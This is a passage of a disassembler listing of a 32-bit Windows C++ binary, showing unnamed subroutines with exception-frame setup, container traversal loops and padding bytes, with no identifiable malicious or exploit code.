		add	esp, 10h
		retn
sub_414A40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AD0:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439E38
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B60:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439E58
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414C67
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414C1F


loc_414BD4:				; CODE XREF: ___:00414C1Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414BFC
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414BFC:				; CODE XREF: ___:00414BEBj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414BD4


loc_414C1F:				; CODE XREF: ___:00414BD2j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414C67
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414C42
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414C42:				; CODE XREF: ___:00414C39j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414C67:				; CODE XREF: ___:00414B8Ej
					; ___:00414C25j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CE0	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414CE0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414CF8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414CF8:				; CODE XREF: ___:00414CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D10	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414D10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414DB0	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414DB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414EAB
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F20
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C4E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414FE0
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414EAB:				; CODE XREF: sub_414DB0+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414FE0
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C4E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414FE0
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414FE0:				; CODE XREF: sub_414DB0+82j
					; sub_414DB0+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414DB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150A0	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_4150A0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150E0	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_4150E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415160	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_415160	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151D0	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DA7
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4151D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401D89j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DA7
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415240	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_415240	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415280	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D5C
		test	al, al
		jz	short loc_41530D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4152BF:				; CODE XREF: sub_415280+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_4152F1
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_4152FA
; ---------------------------------------------------------------------------


loc_4152F1:				; CODE XREF: sub_415280+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_4152FA:				; CODE XREF: sub_415280+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D5C
		test	al, al
		jnz	short loc_4152BF
		pop	edi


loc_41530D:				; CODE XREF: sub_415280+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415280	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415350	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_415350	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415370	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_415370	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415390	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153C0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4153C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153F0	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_4153F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415430	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_415430	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154A0	proc near		; CODE XREF: sub_401983j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CC6
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4154A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154E0	proc near		; CODE XREF: sub_402234j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CC6
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4154E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415510	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415510	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415550	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_415550	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155A0	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AD7
		test	al, al
		jz	short loc_41562D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4155DF:				; CODE XREF: sub_4155A0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415611
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41561A
; ---------------------------------------------------------------------------


loc_415611:				; CODE XREF: sub_4155A0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41561A:				; CODE XREF: sub_4155A0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AD7
		test	al, al
		jnz	short loc_4155DF
		pop	edi


loc_41562D:				; CODE XREF: sub_4155A0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4155A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415670	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_415670	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415690	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156B0	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4156B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156E0	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4156E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415710	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415710	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415750	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_415750	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157C0	proc near		; CODE XREF: sub_4018F2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D66
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4157C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415800	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D66
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415800	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415830	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_415830	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415870	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_415870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158C0	proc near		; CODE XREF: sub_402130j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_41594D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_4158FF:				; CODE XREF: sub_4158C0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415931
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41593A
; ---------------------------------------------------------------------------


loc_415931:				; CODE XREF: sub_4158C0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


